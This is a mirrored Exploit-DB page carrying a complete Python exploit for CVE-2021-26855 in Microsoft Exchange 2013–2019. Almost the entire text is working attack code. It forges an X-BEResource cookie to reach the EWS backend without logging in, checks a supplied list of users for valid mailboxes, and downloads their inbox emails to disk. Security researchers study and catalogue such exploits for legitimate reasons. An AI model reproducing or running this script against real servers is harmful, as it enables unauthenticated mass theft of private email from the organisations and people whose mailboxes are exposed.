Microsoft Exchange 2019 – Unauthenticated Email Download

  • 作者: Gonzalo Villegas
    日期: 2021-05-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49879/
  • # Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
    # Date: 03-11-2021
    # Exploit Author: Gonzalo Villegas a.k.a Cl34r
    # Vendor Homepage: https://www.microsoft.com/
    # Version: OWA Exchange 2013 - 2019
    # Tested on: OWA 2016
    # CVE : CVE-2021-26855
    # Details: checking users mailboxes and automated downloads of emails
    
    import requests
    import argparse
    import time
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    __proxies__ = {"http": "http://127.0.0.1:8080",
     "https": "https://127.0.0.1:8080"}# for debug on proxy
    
    
    # needs to specifies mailbox, will return folder Id if account exists
    payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <m:GetFolder>
    <m:FolderShape>
    <t:BaseShape>AllProperties</t:BaseShape>
    </m:FolderShape>
    <m:FolderIds>
    <t:DistinguishedFolderId Id="inbox">
    <t:Mailbox>
    <t:EmailAddress>{}</t:EmailAddress>
    </t:Mailbox>
    </t:DistinguishedFolderId>
    </m:FolderIds>
    </m:GetFolder>
    </soap:Body>
    </soap:Envelope>
    
    """
    # needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
    payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <m:FindItem Traversal="Shallow">
     <m:ItemShape>
    <BaseShape>AllProperties</BaseShape></m:ItemShape>
     <SortOrder/>
     <m:ParentFolderIds>
    <t:FolderId Id="{}" ChangeKey="{}"/>
    </m:ParentFolderIds>
     <QueryString/>
    </m:FindItem>
    </soap:Body>
    </soap:Envelope>
    """
    
    # needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
    payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" 
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
    <ItemShape>
    <t:BaseShape>Default</t:BaseShape>
    </ItemShape>
    <ItemIds>
    <t:ItemId Id="{}" ChangeKey="{}"/>
    </ItemIds>
    </GetItem>
    </soap:Body>
    </soap:Envelope>
    """
    
    
    def getFQDN(url):
    print("[*] Getting FQDN from headers")
    rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
    if "X-FEServer" in rs.headers:
    return rs.headers["X-FEServer"]
    else:
    print("[-] Can't get FQDN ")
    exit(0)
    
    
    def extractEmail(url, uri, user, fqdn, content_folderid, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
     "Content-Type": "text/xml",
     "User-Agent": "Mozilla pwner"}
    from xml.etree import ElementTree as ET
    dom = ET.fromstring(content_folderid)
    for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
    id_folder = p[0].attrib.get("Id")
    change_key_folder = p[0].attrib.get("ChangeKey")
    data = payload_get_items_id_folder.format(id_folder, change_key_folder)
    random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
    rs = requests.post(url + uri, data=data, headers=headers, verify=False)
    if "ErrorAccessDenied" in rs.text:
    print("[*] Denied ;(.. retrying")
    t_uri = uri.split("/")[-1]
    for ru in random_uris:
    print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
    rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
    if "NoError" in rs.text:
    print("[+] data found, dowloading email")
    break
    print("[+]Getting mails...")
    dom_messages = ET.fromstring(rs.text)
    messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
    for m in messages:
    id_message = m[0].attrib.get("Id")
    change_key_message = m[0].attrib.get("ChangeKey")
    data = payload_get_mail.format(id_message, change_key_message)
    random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
    rs = requests.post(url + uri, data=data, headers=headers, verify=False)
    if "ErrorAccessDenied" in rs.text:
    print("[*] Denied ;(.. retrying")
    t_uri = uri.split("/")[-1]
    for ru in random_uris:
    print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
    rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
    if "NoError" in rs.text:
    print("[+] data found, downloading email")
    break
    
    try:
    f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')
    f.write(rs.text)
    f.close()
    except Exception as e:
    print("[!] Can't write .xml file to path (email): ", e)
    
    
    def checkURI(url, fqdn):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
     "Content-Type": "text/xml",
     "User-Agent": "Mozilla hehe"}
    arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]
    for uri in arr_uri:
    rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("thisisnotanvalidmail@pwn.local"),
     headers=headers)
    #print(rs.content)
    if rs.status_code == 200 and "MessageText" in rs.text:
    print("[+] Valid URI:", uri)
    calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")
    if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):
    calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]
    else:
    calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]
    return uri, calculated_domain
    #time.sleep(1)
    print("[-] No valid URI found ;(")
    exit(0)
    
    
    def checkEmailBoxes(url, uri, user, fqdn, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
     "Content-Type": "text/xml",
     "User-Agent": "Mozilla hehe"}
    rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),
     headers=headers)
    #time.sleep(1)
    #print(rs.content)
    if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:
    print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))
    if "ResponseCode" in rs.text and "NoError" in rs.text:
    print("[+] Valid Email Found!: {}".format(user))
    extractEmail(url, uri, user, fqdn, rs.text, path)
    if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:
    print("[-] Not Valid Email: {}".format(user))
    
    
    def main():
    __URL__ = None
    __FQDN__ = None
    __mailbox_domain__ = None
    __path__ = None
    print("[***** OhhWAA *****]")
    parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")
    parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)
    parser.add_argument('-l', "--list", help="Users mailbox list", required=True)
    parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)
    parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)
    parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)
    args = parser.parse_args()
    __URL__ = args.url
    __FQDN__ = args.fqdn
    __mailbox_domain__ = args.domain
    __list_users__ = args.list
    __valid_users__ = []
    __path__ = args.path
    if not __FQDN__:
    __FQDN__ = getFQDN(__URL__)
    print("[+] Got FQDN:", __FQDN__)
    
    valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)
    
    if not __mailbox_domain__:
    __mailbox_domain__ = calculated_domain
    
    list_users = open(__list_users__, "r")
    for user in list_users:
    checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)
    
    print("[!!!] FINISHED OhhWAA")
    
    
    if __name__ == '__main__':
    main()